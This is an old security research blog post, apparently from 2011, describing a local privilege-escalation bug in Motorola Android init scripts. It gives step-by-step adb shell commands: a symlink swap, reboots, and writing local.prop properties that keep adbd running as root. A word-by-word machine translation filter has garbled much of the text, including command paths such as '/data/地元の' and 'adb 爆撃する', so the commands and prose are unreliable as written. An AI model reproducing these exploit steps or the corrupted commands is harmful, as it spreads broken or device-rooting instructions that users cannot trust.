このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。

翻訳前ページへ


安全 研究 by Dan Rosenberg

It's Bugs All the Way 負かす/撃墜する

安全 研究 by Dan Rosenberg

やじ the Droid 3

The Motorola Droid 3 was 解放(する)d July 14, 2011, and has no public technique 利用できる to get root 接近. On request of some members of the Android community, I decided to audit the 壇・綱領・公約 ーするために root the 装置.

Update: this 偉業/利用する is also 確認するd to work on the Droid X, Droid X2, Droid Cliq, Droid Cliq 2, Droid 2, and Droid Bionic.

The Bug

I identified a vulnerability 明確な/細部 to Motorola 装置s in the script parsed by the init thread (this is 存在するing code, not 命令(する)s for you to run):

    mkdir /data/地元の 0771 mot_tcmd 爆撃する
    mkdir /data/地元の/tmp 0771 mot_tcmd 爆撃する
    mkdir /data/地元の/12m 0771 mot_tcmd 爆撃する
    mkdir /data/地元の/12m/(製品,工事材料の)一回分 0771 mot_tcmd 爆撃する
    chown mot_tcmd 爆撃する /data/地元の
    chown mot_tcmd 爆撃する /data/地元の/12m
    chown mot_tcmd 爆撃する /data/地元の/12m/(製品,工事材料の)一回分
    chown mot_tcmd 爆撃する /data/地元の/tmp

Since the contents of /data/地元の are group “爆撃する” and group-writable, we can 修正する the contents of this directory using アジア開発銀行. By logging into the 装置 and 取って代わるing one of the sub-directories 名簿(に載せる)/表(にあげる)d here with a 象徴的な link, then when the 装置 reboots it will change the 所有権 of the symlink 的 to group “爆撃する”. This can be used to edit 所有物/資産/財産 とじ込み/提出するs to manipulate the 行為 of アジア開発銀行 to 達成する root.

So, without その上の ado:

The 偉業/利用する

スピードを出す/記録につける in to the 装置 using “adb 爆撃する” and type the に引き続いて 命令(する)s:

mv /data/地元の/12m /data/地元の/12m.bak
ln -s /data /data/地元の/12m

Next, 肉体的に reboot the 装置 by 圧力(をかける)ing the 力/強力にする button. When it wakes up, スピードを出す/記録につける in using “adb 爆撃する” again, and type the に引き続いて:

rm /data/地元の/12m
mv /data/地元の/12m.bak /data/地元の/12m
mv /data/地元の.支え(る) /data/地元の.支え(る).bak
echo "ro.sys.atvc_allow_netmon_usb=0" > /data/地元の.支え(る)
echo "ro.sys.atvc_allow_netmon_ih=0" >> /data/地元の.支え(る)
echo "ro.sys.atvc_allow_res_core=0" >> /data/地元の.支え(る)
echo "ro.sys.atvc_allow_res_panic=0" >> /data/地元の.支え(る)
echo "ro.sys.atvc_allow_all_adb=1" >> /data/地元の.支え(る)
echo "ro.sys.atvc_allow_all_core=0" >> /data/地元の.支え(る)
echo "ro.sys.atvc_allow_efem=0" >> /data/地元の.支え(る)
echo "ro.sys.atvc_allow_bp_log=0" >> /data/地元の.支え(る)
echo "ro.sys.atvc_allow_ap_mot_log=0" >> /data/地元の.支え(る)
echo "ro.sys.atvc_allow_gki_log=0" >> /data/地元の.支え(る)

The ro.sys.atvc_allow_all_adb 所有物/資産/財産 is a Motorola-明確な/細部 configuration that 妨げるs アジア開発銀行 from dropping its root 特権s. Reboot the 装置 one final time, and on logging in with “adb 爆撃する”, you should be 現在のd with a root 誘発する. Enjoy!

Thanks to mkultramega, Toaday, and zdooder for 実験(する)ing, KrazyKrivda for raising 基金s, scottml and Edgan for bouncing ideas, and rweb for 納得させるing me to look at Droid 3 in the first place.

This 入ること/参加(者) was 地位,任命するd on Thursday, August 25th, 2011 at 3:56 pm and is とじ込み/提出するd under 開発/利用, Linux. You can follow any 返答s to this 入ること/参加(者) through the RSS 2.0 料金d. Both comments and pings are 現在/一般に の近くにd.